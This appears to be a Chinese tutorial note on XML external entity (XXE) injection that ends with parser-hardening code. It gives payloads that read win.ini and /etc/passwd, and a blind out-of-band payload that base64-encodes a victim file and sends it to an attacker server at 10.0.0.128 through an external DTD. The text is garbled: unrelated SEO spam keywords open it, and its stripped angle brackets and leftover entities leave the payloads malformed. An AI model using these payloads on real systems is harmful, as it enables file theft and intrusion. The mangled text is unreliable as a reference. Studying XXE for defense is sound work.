微信公众平台视频网站开发,设计类专业需要艺考吗,三合一网站选什么系统,北京工商注册代理1.定义 XML用于标记电子文件使其具有结构性的标记语言#xff0c;可以用来标记数据、定义数据类型#xff0c;是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义#xff08;可选#xff09;、文档元素。 http://www.w3school.com.…1.定义 XML用于标记电子文件使其具有结构性的标记语言可以用来标记数据、定义数据类型是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义可选、文档元素。 http://www.w3school.com.cn/dtd/index.asp 了解地址 2.原理 XXEXML外部实体注入) 在应用程序解析XML输入时当允许引用外部实体时可构造恶意内容导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。 http://10.0.0.139:92/phpinfo.php ctrl f 搜索输入内容 默认为false 3.XXE攻击 有回显 ?xml version 1.0? !DOCTYPE note [ !ENTITY hacker SYSTEM file:///c:/windows/win.ini ] namehacker;/name //定义DTD文件格式为:root指定根节点名称system声明要使用的外部DTD文件路径如!ENTITY 实体名称 SYSTEM URI/URL win操作系统读出来就是有xxe漏洞 Linux 读/etc/passswd 无回显 建立*.dtd攻击者服务器 !ENTITY % file SYSTEM php://filter/readconvert.base64encode/resourcefile:///c:/1.txt //被攻击的文件 !ENTITY % int !ENTITY #37; send SYSTEM http://10.0.0.128:80/?p%file; //内部的%号要进行实体编码成#37 在被攻击机创建1.txt 攻击机使用apache apache的日志文件里面查看 解码base64 xml调用 !DOCTYPE convert [ !ENTITY % remote SYSTEM http://10.0.0.128:88/test.dtd %remote;%int;%send; ] 4.如何找xxe漏洞 白盒测试 查看代码里面是否使用了LoadXML( )函数 黑盒测试 抓包看响应体是否存在xml,accept头是否接受xml 抓包修改数据类型把json改成xml来传输数据后面修改一句话 http://web.jarvisoj.com:9882/ 例子 出来的样子 json的数据提交 改为xml,下面改为 ?xml version 1.0? !DOCTYPE note [ !ENTITY hacker SYSTEM file:///etc/passwd ] namehacker;/name 打比赛的ctf地址 特征 看到url文件名是否 .ashx后缀扩展名 响应体为xml 5.防范方法 1、升级php版本 2、程序员修改代码 PHP libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature(http://apache.org/xml/features/disallow-doctype-decl,true); setFeature(http://xml.org/sax/features/external-general-entities,false) setFeature(http://xml.org/sax/features/external-parameter-entities,false); Python from lxml import etree xmlData etree.parse(xmlSource,etree.XMLParser(resolve_entitiesFalse)) 3、过滤关键词 !DOCTYPE、!ENTITY SYSTEM、PUBLIC